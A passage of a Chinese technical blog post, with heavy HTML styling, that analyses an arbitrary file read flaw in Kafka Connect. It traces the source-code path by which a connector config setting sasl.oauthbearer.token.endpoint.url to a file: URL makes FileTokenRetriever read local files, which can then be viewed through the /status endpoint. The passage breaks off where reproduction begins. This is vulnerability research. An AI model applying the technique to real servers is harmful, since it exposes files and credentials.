&#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=87cbc23d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJXJvKuT57xwXsfo3yT7IriczKy7gD01zicWMQAdiarwia8l6rueDBjFbsUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div><span leaf="">子线程调用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DistributedHerder</span></p><span leaf="">类的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">startTask</span></p><span leaf="">函数执行任务，在后续处理中，会利用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Worker#baseProducerConfigs</span></p><span leaf="">将</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">config</span></p><span leaf="">中以</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">producer.</span></p><span leaf="">开头的值赋值给新生成的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">producerProps</span></p><span leaf="">，并且新命名的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">key</span></p><span leaf="">去掉了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">producer.</span></p><span leaf="">头：</span><span leaf=""><br/></span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008542" class="rich_pages wxw-img" data-ratio="0.4975704567541302" data-type="png" data-w="1029" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=031d5a7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJjGhU6Gs7Sg0QwJW4vOzo7fc6aSPq5Fv19CSXKWjlM1piaoHohibdBzuw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">public Map&lt;String, Object&gt; originalsWithPrefix(String prefix, boolean strip) {  </span><span leaf=""><br/></span><span leaf="">    Map&lt;String, Object&gt; result = new RecordingMap(prefix, false);  </span><span leaf=""><br/></span><span leaf="">    result.putAll(Utils.entriesWithPrefix(this.originals, prefix, strip));  </span><span leaf=""><br/></span><span leaf="">    return result;  </span><span leaf=""><br/></span><span leaf="">}</span></p></pre><div><span leaf="">继续往下执行会进入</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">LoginManager#LoginManager</span></p><span leaf="">，并通过</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">configure</span></p><span leaf="">函数进行配置，调用栈如下：</span><span leaf=""><br/></span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008543" class="rich_pages wxw-img" data-ratio="0.6340508806262231" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=db9c034e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJADtz7amQuHIqzMPwOddtC1iaxTg0qXcDyjicbKqWicmq5CnVONrOmiatMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">configure</span></p><span leaf=""> 函数将根据 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">configs</span></p><span leaf=""> 的值来生成 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">accessTokenRetriever</span></p><span leaf=""> 和 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">accessTokenValidator</span></p><span leaf=""> ：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">public void configure(Map&lt;String, ?&gt; configs, String saslMechanism, List&lt;AppConfigurationEntry&gt; jaasConfigEntries) {  </span><span leaf=""><br/></span><span leaf="">   this.moduleOptions = JaasOptionsUtils.getOptions(saslMechanism, jaasConfigEntries);  </span><span leaf=""><br/></span><span leaf="">   AccessTokenRetriever accessTokenRetriever = AccessTokenRetrieverFactory.create(configs, saslMechanism, this.moduleOptions);  </span><span leaf=""><br/></span><span leaf="">   AccessTokenValidator accessTokenValidator = AccessTokenValidatorFactory.create(configs, saslMechanism);  </span><span leaf=""><br/></span><span leaf="">   this.init(accessTokenRetriever, accessTokenValidator);  </span><span leaf=""><br/></span><span leaf="">}</span></p></pre><div><span leaf="">查看</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AccessTokenRetrieverFactory#create</span></p><span leaf="">函数：尝试从配置中读取</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sasl.oauthbearer.token.endpoint.url</span></p><span leaf="">并赋值给</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></p><span leaf="">，当协议为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">file</span></p><span leaf="">时，会实例化一个</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">FileTokenRetriever</span></p><span leaf="">对象：</span><span leaf=""><br/></span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008539" class="rich_pages wxw-img" data-ratio="0.2107843137254902" data-type="png" data-w="1020" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=58d5f2ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJGcc2dacq1tqiayhPFXhXmNOtx6ibpU58h8bEhwmyzfBjbxLoTpaxT4Sw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div><span leaf="">最终</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">init</span></p><span leaf="">函数将触发文件读取操作，获取</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sasl.oauthbearer.token.endpoint.url</span></p><span leaf="">指向的文件内容：</span><span leaf=""><br/></span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008541" class="rich_pages wxw-img" data-ratio="0.347953216374269" data-type="png" data-w="1026" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=dbc34a6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJGRFaFhzbicHicKSd76reR8xYu0BybNlplq7RD6dib7MPtyiaXSOyY2CUuQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div><span leaf="">用户可以通过控制请求参数</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">config</span></p><span leaf="">来实现任意文件读取。上述请求是创建</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">connector</span></p><span leaf="">的过程，想要查看读取的文件内容可以通过另一个接口</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/status</span></p><span leaf="">实现：</span><span leaf=""><br/></span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008540" class="rich_pages wxw-img" data-ratio="0.24266144814090018" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d5bb065b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzkTibxe8rdicrbSlVtob8SibJow3NdCbrKrIBdXgxn9S4pz9QVGpoxsP1BbbTbdyu7d8zPqjibO9sTZg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p><span leaf="">漏洞复现如下：</span><span leaf=""><br/></span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, 